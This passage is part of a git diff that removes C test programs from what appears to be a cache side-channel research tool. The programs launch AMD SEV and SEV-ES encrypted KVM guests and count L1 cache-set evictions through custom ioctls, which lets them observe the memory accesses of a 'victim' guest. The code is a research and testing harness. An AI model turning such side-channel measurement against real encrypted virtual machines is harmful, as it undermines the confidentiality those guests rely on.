sev_fwerr_str(fwerr)); - } - - return status.state; -} - -void -sev_dbg_encrypt(int vmfd, void *dst, void *src, size_t size) -{ - struct kvm_sev_dbg enc; - int ret, fwerr; - - enc.src_uaddr = (uintptr_t) src; - enc.dst_uaddr = (uintptr_t) dst; - enc.len = size; - ret = sev_ioctl(vmfd, KVM_SEV_DBG_ENCRYPT, &enc, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_DBG_ENCRYPT: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); -} - -void -sev_dbg_decrypt(int vmfd, void *dst, void *src, size_t size) -{ - struct kvm_sev_dbg enc; - int ret, fwerr; - - enc.src_uaddr = (uintptr_t) src; - enc.dst_uaddr = (uintptr_t) dst; - enc.len = size; - ret = sev_ioctl(vmfd, KVM_SEV_DBG_DECRYPT, &enc, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_DBG_DECRYPT: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); -} - -void -sev_kvm_init(struct kvm *kvm, size_t ramsize, void *code_start, void *code_stop) -{ - // REF: https://www.amd.com/system/files/TechDocs/55766_SEV-KM_API_Specification.pdf - struct kvm_sev_launch_update_data update; - struct kvm_sev_launch_start start; - struct kvm_userspace_memory_region region; - struct kvm_regs regs; - struct kvm_sregs sregs; - uint8_t *msrmt; - int ret, fwerr; - - /* Create a kvm instance */ - kvm->vmfd = ioctl(kvm_dev, KVM_CREATE_VM, 0); - if (kvm->vmfd < 0) err(1, "KVM_CREATE_VM"); - - /* Allocate guest memory */ - kvm->memsize = ramsize; - kvm->mem = mmap(NULL, kvm->memsize, PROT_READ | PROT_WRITE, - MAP_SHARED | MAP_ANONYMOUS, -1, 0); - if (!kvm->mem) err(1, "Allocating guest memory"); - assert(code_stop - code_start <= kvm->memsize); - memcpy(kvm->mem, code_start, code_stop - code_start); - - /* Map it into the vm */ - memset(&region, 0, sizeof(region)); - region.slot = 0; - region.memory_size = kvm->memsize; - region.guest_phys_addr = 0; - region.userspace_addr = (uintptr_t) kvm->mem; - ret = ioctl(kvm->vmfd, KVM_SET_USER_MEMORY_REGION, &region); - if (ret < 0) err(1, "KVM_SET_USER_MEMORY_REGION"); - - /* Enable SEV for vm */ - ret = sev_ioctl(kvm->vmfd, KVM_SEV_ES_INIT, NULL, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_ES_INIT: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - - /* Create virtual cpu */ - kvm->vcpufd = ioctl(kvm->vmfd, KVM_CREATE_VCPU, 0); - if (kvm->vcpufd < 0) err(1, "KVM_CREATE_VCPU"); - - /* Map the shared kvm_run structure and following data */ - ret = ioctl(kvm_dev, KVM_GET_VCPU_MMAP_SIZE, NULL); - if (ret < 0) err(1, "KVM_GET_VCPU_MMAP_SIZE"); - if (ret < sizeof(struct kvm_run)) - errx(1, "KVM_GET_VCPU_MMAP_SIZE too small"); - kvm->run = mmap(NULL, ret, PROT_READ | PROT_WRITE, - MAP_SHARED, kvm->vcpufd, 0); - if (!kvm->run) err(1, "mmap vcpu"); - - /* Initialize segment regs */ - memset(&sregs, 0, sizeof(sregs)); - ret = ioctl(kvm->vcpufd, KVM_GET_SREGS, &sregs); - if (ret < 0) err(1, "KVM_GET_SREGS"); - sregs.cs.base = 0; - sregs.cs.selector = 0; - ret = ioctl(kvm->vcpufd, KVM_SET_SREGS, &sregs); - if (ret < 0) err(1, "KVM_SET_SREGS"); - - /* Initialize rest of registers */ - memset(&regs, 0, sizeof(regs)); - regs.rip = 0; - regs.rsp = kvm->memsize - 8; - regs.rbp = kvm->memsize - 8; - ret = ioctl(kvm->vcpufd, KVM_SET_REGS, &regs); - if (ret < 0) err(1, "KVM_SET_REGS"); - - /* Generate encryption keys and set policy */ - memset(&start, 0, sizeof(start)); - start.handle = 0; - start.policy = 1 << 2; /* require ES */ - ret = sev_ioctl(kvm->vmfd, KVM_SEV_LAUNCH_START, &start, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_LAUNCH_START: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - - /* Prepare the vm memory (by encrypting it) */ - memset(&update, 0, sizeof(update)); - update.uaddr = (uintptr_t) kvm->mem; - update.len = ramsize; - ret = sev_ioctl(kvm->vmfd, KVM_SEV_LAUNCH_UPDATE_DATA, &update, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_LAUNCH_UPDATE_DATA: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - - /* Prepare the vm save area */ - ret = sev_ioctl(kvm->vmfd, KVM_SEV_LAUNCH_UPDATE_VMSA, NULL, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_LAUNCH_UPDATE_VMSA: (%s) %s",strerror(errno), sev_fwerr_str(fwerr)); - - /* Collect a measurement (necessary) */ - msrmt = sev_get_measure(kvm->vmfd); - free(msrmt); - - /* Finalize launch process */ - ret = sev_ioctl(kvm->vmfd, KVM_SEV_LAUNCH_FINISH, 0, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_LAUNCH_FINISH: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - ret = sev_guest_state(kvm->vmfd, start.handle); - if (ret != GSTATE_RUNNING) - errx(1, "Bad guest state: %s", sev_gstate_str(fwerr)); -} - -void -sev_kvm_deinit(struct kvm *kvm) -{ - close(kvm->vmfd); - close(kvm->vcpufd); - munmap(kvm->mem, kvm->memsize); -} - -uint8_t * -read_counts() -{ - uint8_t *counts; - int ret; - - counts = malloc(64); - if (!counts) err(1, "malloc"); - ret = ioctl(kvm_dev, KVM_CPC_READ_COUNTS, counts); - if (ret == -1) err(1, "ioctl READ_COUNTS"); - - return counts; -} - -void -print_counts(uint8_t *counts) -{ - int i; - - for (i = 0; i < 64; i++) { - if (i % 16 == 0 && i) - printf("\n"); - if (counts[i] == 1) - printf("\x1b[38;5;88m"); - else if (counts[i] > 1) - printf("\x1b[38;5;196m"); - printf("%2i ", i); - if (counts[i] > 0) - printf("\x1b[0m"); - } - printf("\n Target Set %i Count: %u\n", TARGET_SET, counts[TARGET_SET]); - printf("\n"); -} - -uint8_t * -collect(struct kvm *kvm) -{ - struct kvm_regs regs; - int ret; - - ret = ioctl(kvm->vcpufd, KVM_RUN, NULL); - if (ret < 0) err(1, "KVM_RUN"); - - if (kvm->run->exit_reason == KVM_EXIT_MMIO) { - memset(&regs, 0, sizeof(regs)); - ret = ioctl(kvm->vcpufd, KVM_GET_REGS, &regs); - if (ret < 0) err(1, "KVM_GET_REGS"); - errx(1, "KVM_EXIT_MMIO: Victim %s at 0x%08llx: rip=0x%08llx\n", - kvm->run->mmio.is_write ? "write" : "read", - kvm->run->mmio.phys_addr, regs.rip); - } else if (kvm->run->exit_reason != KVM_EXIT_HLT) { - errx(1, "KVM died: %i\n", kvm->run->exit_reason); - } - - return read_counts(); -} - -int -main(int argc, const char **argv) -{ - uint8_t without_access[SAMPLE_COUNT][64]; - uint8_t with_access[SAMPLE_COUNT][64]; - struct kvm kvm_without_access, kvm_with_access; - uint8_t *counts, *baseline; - uint32_t arg, measure; - int i, k, ret; - - setvbuf(stdout, NULL, _IONBF, 0); - - pin_process(0, TARGET_CORE, true); - - sev_dev = open("/dev/sev", O_RDWR | O_CLOEXEC); - if (sev_dev < 0) err(1, "open /dev/sev"); - - kvm_dev = open("/dev/kvm", O_RDWR | O_CLOEXEC); - if (kvm_dev < 0) err(1, "open /dev/kvm"); - - /* Make sure we have the stable version of the API */ - ret = ioctl(kvm_dev, KVM_GET_API_VERSION, NULL); - if (ret < 0) err(1, "KVM_GET_API_VERSION"); - if (ret != 12) errx(1, "KVM_GET_API_VERSION %d, expected 12", ret); - - /* init L1 miss counter for host kernel */ - ret = ioctl(kvm_dev, KVM_CPC_RESET); - if (ret < 0) err(1, "ioctl KVM_CPC_RESET"); - - baseline = malloc(64); - if (!baseline) err(1, "calloc"); - - sev_kvm_init(&kvm_with_access, 64 * 64 * 8 * 2, __start_guest_with, __stop_guest_with); - sev_kvm_init(&kvm_without_access, 64 * 64 * 8 * 2, __start_guest_without, __stop_guest_without); - - /* one run to get into while loop (after stack setup) */ - ioctl(kvm_with_access.vcpufd, KVM_RUN, NULL); - ioctl(kvm_without_access.vcpufd, KVM_RUN, NULL); - - measure = true; - ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &measure); - if (ret == -1) err(1, "ioctl MEASURE_BASELINE"); - - for (i = 0; i < SAMPLE_COUNT; i++) { - counts = collect(&kvm_without_access); - memcpy(without_access[i], counts, 64); - free(counts); - - counts = collect(&kvm_with_access); - memcpy(with_access[i], counts, 64); - free(counts); - } - - measure = false; - ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &measure); - if (ret == -1) err(1, "ioctl MEASURE_BASELINE"); - - ret = ioctl(kvm_dev, KVM_CPC_READ_BASELINE, baseline); - if (ret == -1) err(1, "ioctl READ_BASELINE"); - - - for (i = 0; i < SAMPLE_COUNT; i++) { - for (k = 0; k < 64; k++) { - with_access[i][k] -= baseline[k]; - without_access[i][k] -= baseline[k]; - } - - printf("Evictions with access:\n"); - print_counts(with_access[i]); - - printf("Evictions withoCALCt access:\n"); - print_counts(without_access[i]); - } - - for (i = 0; i < SAMPLE_COUNT; i++) { - assert(with_access[i][TARGET_SET] > 0); - //assert(without_access[i][TARGET_SET] == 0); - } - - sev_kvm_deinit(&kvm_with_access); - sev_kvm_deinit(&kvm_without_access); - - free(baseline); - - close(kvm_dev); - close(sev_dev); -} - diff --git a/test/sev.c b/test/sev.c @@ -1,544 +0,0 @@ -#define _GNU_SOURCE - -#include "cachepc/uapi.h" - -#include <linux/psp-sev.h> -#include <linux/kvm.h> -#include <sys/syscall.h> -#include <sys/ioctl.h> -#include <sys/user.h> -#include <sys/wait.h> -#include <sys/ioctl.h> -#include <sys/mman.h> -#include <sys/stat.h> -#include <sys/types.h> -#include <unistd.h> -#include <signal.h> -#include <dirent.h> -#include <assert.h> -#include <errno.h> -#include <err.h> -#include <fcntl.h> -#include <sched.h> -#include <string.h> -#include <stdbool.h> -#include <stdlib.h> -#include <stdint.h> -#include <stdio.h> -#include <stdarg.h> - -#define ARRLEN(x) (sizeof(x) / sizeof((x)[0])) -#define MIN(a,b) ((a) > (b) ? (b) : (a)) - -#define SAMPLE_COUNT 100 - -#define TARGET_CORE 2 -#define SECONDARY_CORE 3 - -#define TARGET_CACHE_LINESIZE 64 -#define TARGET_SET 15 - -struct kvm { - int fd, vmfd, vcpufd; - void *mem; - size_t memsize; - struct kvm_run *run; -}; - -/* start and end for guest assembly */ -extern uint8_t __start_guest_with[]; -extern uint8_t __stop_guest_with[]; -extern uint8_t __start_guest_without[]; -extern uint8_t __stop_guest_without[]; - -bool ready = false; -bool processed = false; - -ssize_t sysret; -pid_t victim_pid; - -/* ioctl dev fds */ -int kvm_dev, sev_dev, kvm_dev; - -enum { - GSTATE_UNINIT, - GSTATE_LUPDATE, - GSTATE_LSECRET, - GSTATE_RUNNING, - GSTATE_SUPDATE, - GSTATE_RUPDATE, - GSTATE_SENT -}; - -const char *sev_fwerr_strs[] = { - "Success", - "Platform state is invalid", - "Guest state is invalid", - "Platform configuration is invalid", - "Buffer too small", - "Platform is already owned", - "Certificate is invalid", - "Policy is not allowed", - "Guest is not active", - "Invalid address", - "Bad signature", - "Bad measurement", - "Asid is already owned", - "Invalid ASID", - "WBINVD is required", - "DF_FLUSH is required", - "Guest handle is invalid", - "Invalid command", - "Guest is active", - "Hardware error", - "Hardware unsafe", - "Feature not supported", - "Invalid parameter", - "Out of resources", - "Integrity checks failed" -}; - -const char *sev_gstate_strs[] = { - "UNINIT", - "LUPDATE", - "LSECRET", - "RUNNING", - "SUPDATE", - "RUPDATE", - "SEND" -}; - -void -hexdump(void *data, int len) -{ - int i; - - for (i = 0; i < len; i++) { - if (i % 16 == 0 && i) - printf("\n"); - printf("%02X ", *(uint8_t *)(data + i)); - } - printf("\n"); -} - -// REF: https://events19.linuxfoundation.org/wp-content/uploads/2017/12/Extending-Secure-Encrypted-Virtualization-with-SEV-ES-Thomas-Lendacky-AMD.pdf -// REF: https://www.spinics.net/lists/linux-kselftest/msg27206.html -__attribute__((section("guest_with"))) void -vm_guest_with(void) -{ - while (1) { - asm volatile("mov (%[v]), %%bl" - : : [v] "r" (TARGET_CACHE_LINESIZE * TARGET_SET)); - asm volatile("out %%al, (%%dx)" : : ); - //asm volatile("hlt"); - //asm volatile("rep; vmmcall\n\r"); - } -} - -__attribute__((section("guest_without"))) void -vm_guest_without(void) -{ - while (1) { - //asm volatile("hlt"); - asm volatile("out %%al, (%%dx)" : : ); - } -} - -bool -pin_process(pid_t pid, int cpu, bool assert) -{ - cpu_set_t cpuset; - int ret; - - CPU_ZERO(&cpuset); - CPU_SET(cpu, &cpuset); - ret = sched_setaffinity(pid, sizeof(cpu_set_t), &cpuset); - if (ret < 0) { - if (assert) err(1, "sched_setaffinity"); - return false; - } - - return true; -} - -int -read_stat_core(pid_t pid) -{ - char path[256]; - char line[2048]; - FILE *file; - char *p; - int i, cpu; - - snprintf(path, sizeof(path), "/proc/%u/stat", pid); - file = fopen(path, "r"); - if (!file) return -1; - - if (!fgets(line, sizeof(line), file)) - err(1, "read stat"); - - p = line; - for (i = 0; i < 38 && (p = strchr(p, ' ')); i++) - p += 1; - - if (!p) errx(1, "stat format"); - cpu = atoi(p); - - fclose(file); - - return cpu; -} - -const char * -sev_fwerr_str(int code) -{ - if (code < 0 || code >= ARRLEN(sev_fwerr_strs)) - return "Unknown error"; - - return sev_fwerr_strs[code]; -} - -const char * -sev_gstate_str(int code) -{ - if (code < 0 || code >= ARRLEN(sev_gstate_strs)) - return "Unknown gstate"; - - return sev_gstate_strs[code]; -} - -int -sev_ioctl(int vmfd, int cmd, void *data, int *error) -{ - struct kvm_sev_cmd input; - int ret; - - memset(&input, 0, sizeof(input)); - input.id = cmd; - input.sev_fd = sev_dev; - input.data = (uintptr_t) data; - - ret = ioctl(vmfd, KVM_MEMORY_ENCRYPT_OP, &input); - if (error) *error = input.error; - - return ret; -} - -uint8_t * -sev_get_measure(int vmfd) -{ - struct kvm_sev_launch_measure msrmt; - int ret, fwerr; - uint8_t *data; - - memset(&msrmt, 0, sizeof(msrmt)); - ret = sev_ioctl(vmfd, KVM_SEV_LAUNCH_MEASURE, &msrmt, &fwerr); - if (ret < 0 && fwerr != SEV_RET_INVALID_LEN) - errx(1, "LAUNCH_MEASURE: (%s) %s", strerror(errno), sev_fwerr_str(fwerr)); - - data = malloc(msrmt.len); - msrmt.uaddr = (uintptr_t) data; - - ret = sev_ioctl(vmfd, KVM_SEV_LAUNCH_MEASURE, &msrmt, &fwerr); - if (ret < 0) - errx(1, "LAUNCH_MEASURE: (%s) %s", strerror(errno), sev_fwerr_str(fwerr)); - - return data; -} - -uint8_t -sev_guest_state(int vmfd, uint32_t handle) -{ - struct kvm_sev_guest_status status; - int ret, fwerr; - - status.handle = handle; - ret = sev_ioctl(vmfd, KVM_SEV_GUEST_STATUS, &status, &fwerr); - if (ret < 0) { - errx(1, "KVM_SEV_GUEST_STATUS: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - } - - return status.state; -} - -void -sev_debug_encrypt(int vmfd, void *src, void *dst, size_t size) -{ - struct kvm_sev_dbg enc; - int ret, fwerr; - - enc.src_uaddr = (uintptr_t) src; - enc.dst_uaddr = (uintptr_t) dst; - enc.len = size; - ret = sev_ioctl(vmfd, KVM_SEV_DBG_ENCRYPT, &enc, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_DBG_ENCRYPT: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); -} - -void -sev_debug_decrypt(int vmfd, void *src, void *dst, size_t size) -{ - struct kvm_sev_dbg enc; - int ret, fwerr; - - enc.src_uaddr = (uintptr_t) src; - enc.dst_uaddr = (uintptr_t) dst; - enc.len = size; - ret = sev_ioctl(vmfd, KVM_SEV_DBG_DECRYPT, &enc, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_DBG_DECRYPT: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); -} - -void -sev_kvm_init(struct kvm *kvm, size_t ramsize, void *code_start, void *code_stop) -{ - // REF: https://www.amd.com/system/files/TechDocs/55766_SEV-KM_API_Specification.pdf - struct kvm_sev_launch_update_data update; - struct kvm_sev_launch_start start; - struct kvm_userspace_memory_region region; - struct kvm_regs regs; - struct kvm_sregs sregs; - uint8_t *msrmt; - int ret, fwerr; - - /* Create a kvm instance */ - kvm->vmfd = ioctl(kvm_dev, KVM_CREATE_VM, 0); - if (kvm->vmfd < 0) err(1, "KVM_CREATE_VM"); - - /* Allocate guest memory */ - kvm->memsize = ramsize; - kvm->mem = mmap(NULL, kvm->memsize, PROT_READ | PROT_WRITE, - MAP_SHARED | MAP_ANONYMOUS, -1, 0); - if (!kvm->mem) err(1, "Allocating guest memory"); - assert(code_stop - code_start <= kvm->memsize); - memcpy(kvm->mem, code_start, code_stop - code_start); - - /* Map it into the vm */ - memset(&region, 0, sizeof(region)); - region.slot = 0; - region.memory_size = kvm->memsize; - region.guest_phys_addr = 0x0000; - region.userspace_addr = (uintptr_t) kvm->mem; - ret = ioctl(kvm->vmfd, KVM_SET_USER_MEMORY_REGION, &region); - if (ret < 0) err(1, "KVM_SET_USER_MEMORY_REGION"); - - /* Enable SEV for vm */ - ret = sev_ioctl(kvm->vmfd, KVM_SEV_INIT, NULL, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_INIT: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - - /* Generate encryption keys and set policy */ - memset(&start, 0, sizeof(start)); - start.handle = 0; - start.policy = 0; - ret = sev_ioctl(kvm->vmfd, KVM_SEV_LAUNCH_START, &start, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_LAUNCH_START: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - - /* Prepare the vm memory (by encrypting it) */ - memset(&update, 0, sizeof(update)); - update.uaddr = (uintptr_t) kvm->mem; - update.len = ramsize; - ret = sev_ioctl(kvm->vmfd, KVM_SEV_LAUNCH_UPDATE_DATA, &update, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_LAUNCH_UPDATE_DATA: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - - /* Collect a measurement (necessary) */ - msrmt = sev_get_measure(kvm->vmfd); - free(msrmt); - - /* Finalize launch process */ - ret = sev_ioctl(kvm->vmfd, KVM_SEV_LAUNCH_FINISH, 0, &fwerr); - if (ret < 0) errx(1, "KVM_SEV_LAUNCH_FINISH: (%s) %s", - strerror(errno), sev_fwerr_str(fwerr)); - ret = sev_guest_state(kvm->vmfd, start.handle); - if (ret != GSTATE_RUNNING) - errx(1, "Bad guest state: %s", sev_gstate_str(fwerr)); - - /* Create virtual cpu core */ - kvm->vcpufd = ioctl(kvm->vmfd, KVM_CREATE_VCPU, 0); - if (kvm->vcpufd < 0) err(1, "KVM_CREATE_VCPU"); - - /* Map the shared kvm_run structure and following data */ - ret = ioctl(kvm_dev, KVM_GET_VCPU_MMAP_SIZE, NULL); - if (ret < 0) err(1, "KVM_GET_VCPU_MMAP_SIZE"); - if (ret < sizeof(struct kvm_run)) - errx(1, "KVM_GET_VCPU_MMAP_SIZE too small"); - kvm->run = mmap(NULL, ret, PROT_READ | PROT_WRITE, - MAP_SHARED, kvm->vcpufd, 0); - if (!kvm->run) err(1, "mmap vcpu"); - - /* Initialize segment regs */ - memset(&sregs, 0, sizeof(sregs)); - ret = ioctl(kvm->vcpufd, KVM_GET_SREGS, &sregs); - if (ret < 0) err(1, "KVM_GET_SREGS"); - sregs.cs.base = 0; - sregs.cs.selector = 0; - ret = ioctl(kvm->vcpufd, KVM_SET_SREGS, &sregs); - if (ret < 0) err(1, "KVM_SET_SREGS"); - - /* Initialize rest of registers */ - memset(&regs, 0, sizeof(regs)); - regs.rip = 0x0; - regs.rsp = kvm->memsize - 1; - regs.rbp = kvm->memsize - 1; - regs.rax = 0; - regs.rdx = 0; - regs.rflags = 0x2; - ret = ioctl(kvm->vcpufd, KVM_SET_REGS, &regs); - if (ret < 0) err(1, "KVM_SET_REGS"); -} - -void -sev_kvm_deinit(struct kvm *kvm) -{ - close(kvm->vmfd); - close(kvm->vcpufd); - munmap(kvm->mem, kvm->memsize); -} - -cpc_msrmt_t * -read_counts() -{ - cpc_msrmt_t *counts; - int ret; - - counts = malloc(64 * sizeof(cpc_msrmt_t)); - if (!counts) err(1, "malloc"); - ret = ioctl(kvm_dev, KVM_CPC_READ_COUNTS, counts); - if (ret == -1) err(1, "ioctl READ_COUNTS"); - - return counts; -} - -void -print_counts(cpc_msrmt_t *counts) -{ - int i; - - for (i = 0; i < 64; i++) { - if (i % 16 == 0 && i) - printf("\n"); - if (counts[i] == 1) - printf("\x1b[38;5;88m"); - else if (counts[i] > 1) - printf("\x1b[38;5;196m"); - printf("%2i ", i); - if (counts[i] > 0) - printf("\x1b[0m"); - } - printf("\n Target Set %i Count: %llu\n", TARGET_SET, counts[TARGET_SET]); - printf("\n"); -} - -cpc_msrmt_t * -collect(const char *prefix, void *code_start, void *code_stop) -{ - struct kvm_regs regs; - struct kvm kvm; - cpc_msrmt_t *counts; - int ret; - - sev_kvm_init(&kvm, 64 * 64 * 8 * 2, code_start, code_stop); - - /* run vm twice, use count without initial stack setup */ - ret = ioctl(kvm.vcpufd, KVM_RUN, NULL); - ret = ioctl(kvm.vcpufd, KVM_RUN, NULL); - if (ret < 0) err(1, "KVM_RUN"); - - if (kvm.run->exit_reason == KVM_EXIT_MMIO) { - memset(&regs, 0, sizeof(regs)); - ret = ioctl(kvm.vcpufd, KVM_GET_REGS, &regs); - if (ret < 0) err(1, "KVM_GET_REGS"); - errx(1, "Victim access OOB: %llu %08llx => %02X\n", - kvm.run->mmio.phys_addr, regs.rip, - ((uint8_t *)kvm.mem)[regs.rip]); - } else if (kvm.run->exit_reason != KVM_EXIT_IO) { - errx(1, "KVM died: %i\n", kvm.run->exit_reason); - } - - counts = read_counts(); - - sev_kvm_deinit(&kvm); - - return counts; -} - -int -main(int argc, const char **argv) -{ - cpc_msrmt_t without_access[SAMPLE_COUNT][64]; - cpc_msrmt_t with_access[SAMPLE_COUNT][64]; - cpc_msrmt_t *counts, *baseline; - uint32_t arg, measure; - int i, k, ret; - - setvbuf(stdout, NULL, _IONBF, 0); - - pin_process(0, TARGET_CORE, true); - - sev_dev = open("/dev/sev", O_RDWR | O_CLOEXEC); - if (sev_dev < 0) err(1, "open /dev/sev"); - - kvm_dev = open("/dev/kvm", O_RDWR | O_CLOEXEC); - if (kvm_dev < 0) err(1, "open /dev/kvm"); - - /* Make sure we have the stable version of the API */ - ret = ioctl(kvm_dev, KVM_GET_API_VERSION, NULL); - if (ret < 0) err(1, "KVM_GET_API_VERSION"); - if (ret != 12) errx(1, "KVM_GET_API_VERSION %d, expected 12", ret); - - /* init L1 miss counter for host kernel */ - arg = 0x002264D8; - ret = ioctl(kvm_dev, KVM_CPC_INIT_PMC, &arg); - if (ret < 0) err(1, "ioctl INIT_PMC"); - - baseline = calloc(sizeof(cpc_msrmt_t), 64); - if (!baseline) err(1, "calloc"); - - measure = true; - ret = ioctl(kvm_dev, KVM_CPC_MEASURE_BASELINE, &measure); - if (ret == -1) err(1, "ioctl MEASURE_BASELINE"); - - for (i = 0; i < SAMPLE_COUNT; i++) { - counts = collect("without", __start_guest_without, __stop_guest_without); - memcpy(without_access[i], counts, 64 * sizeof(cpc_msrmt_t)); - free(counts); - - counts = collect("with", __start_guest_with, __stop_guest_with); - memcpy(with_access[i], counts, 64 * sizeof(cpc_msrmt_t)); - free(counts); - } - - measure = false; - ret = ioctl(kvm_dev, KVM_CPC_MEASURE_BASELINE, &measure); - if (ret == -1) err(1, "ioctl MEASURE_BASELINE"); - - ret = ioctl(kvm_dev, KVM_CPC_READ_BASELINE, baseline); - if (ret == -1) err(1, "ioctl READ_BASELINE"); - - for (i = 0; i < SAMPLE_COUNT; i++) { - for (k = 0; k < 64; k++) { - with_access[i][k] -= baseline[k]; - without_access[i][k] -= baseline[k]; - } - - printf("Evictions with access:\n"); - print_counts(with_access[i]); - - printf("Evictions without access:\n"); - print_counts(without_access[i]); - } - - for (i = 0; i < SAMPLE_COUNT; i++) { - assert(with_access[i][TARGET_SET] > 0); - //assert(without_access[i][TARGET_SET] == 0); - } - - free(baseline); - - close(kvm_dev); - close(sev_dev); -} -